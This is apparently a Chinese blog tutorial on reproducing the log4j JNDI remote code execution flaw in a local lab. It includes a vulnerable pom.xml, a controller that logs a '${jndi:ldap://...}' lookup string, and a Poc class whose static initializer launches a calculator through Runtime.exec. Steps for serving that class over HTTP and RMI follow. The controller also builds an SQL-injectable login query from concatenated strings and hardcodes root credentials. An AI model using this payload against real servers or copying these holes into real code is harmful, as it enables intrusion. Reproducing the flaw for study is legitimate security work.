本地复现log4j
1、首先搭建log4g项目,直接拉取springboot项目即可,然后将pom.xml文件替换为下列文件
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.9.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>asdasd</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>asdasd</name>
<description>asdasd</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.46</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
2、写一个MainController用来触发漏洞中的error,来执行命令,代码如下:
package com.example.asdasd.controller;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.sql.*;
import java.util.HashMap;
import java.util.Map;
@Controller
public class MainController {
private static final Logger logger = LogManager.getLogger(MainController.class);
@GetMapping("/")
public String index(String account, Model model) {
model.addAttribute("name", account);
return "index";
}
@PostMapping("/login")
public @ResponseBody
Map<String, Object> loginPost(@RequestParam("username") String username, @RequestParam("password")String password) {
Map<String, Object> map = new HashMap<>();
System.out.println(System.getProperty("java.io.tmpdir"));
String JDBC_DRIVER = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://localhost:3306/wkg";
String USER = "root";
String PASS = "root";
Connection conn = null;
Statement stmt = null;
String sortByColumn = "";
logger.error("${jndi:ldap://127.0.0.1:1099}");
try {
// 注册 JDBC 驱动
Class.forName(JDBC_DRIVER);
conn = DriverManager.getConnection(DB_URL, USER, PASS);
stmt = conn.createStatement();
String sql;
sql = "SELECT id, username, password FROM users where username='"+username+"' and password='"+password+"'";
ResultSet rs = stmt.executeQuery(sql);
String res = "";
// 展开结果集数据库
while (rs.next()) {
// 通过字段检索
int id = rs.getInt("id");
res+=id;
String name = rs.getString("username");
res+=name;
String pass = rs.getString("password");
res+=pass;
}
map.put("res",res);
// 完成后关闭
rs.close();
stmt.close();
conn.close();
} catch (ClassNotFoundException | SQLException se) {
// 处理 JDBC 错误
se.printStackTrace();
}
map.put("success", true);
map.put("message", "登录成功");
return map;
}
}
3、开始复现漏洞,首先将项目启用,然后将error中参数替换为需要执行的命令,比如我要访问一个web是这样的

4、设置完该参数启用该项目,由于已知该项目是从输入框或者搜索框触发的所以我们需要更改提交方式为POST,如下图:

5、然后根据代码内容构造一个数据包,进行提交触发error中的命令,如下图:

6、发现可以触发该error命令,获得触发记录

7、需要执行命令,则需要如下步骤,首先修改一个java文件,写入要执行命令,代码如下:
import java.io.IOException;
public class Poc {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
8、编译该文件,并且生成class文件

9、然后本地启用http去放置该class文件,如下图:

10、然后本地启用rmi恶意类去加载http中的class文件,如下图:

11、修改error中的参数,让他加载rmi恶意类

12、然后启动项目,重新构造数据包触发该项目,如下图:

13、会发现rmi被调用,触发命令,如下图:
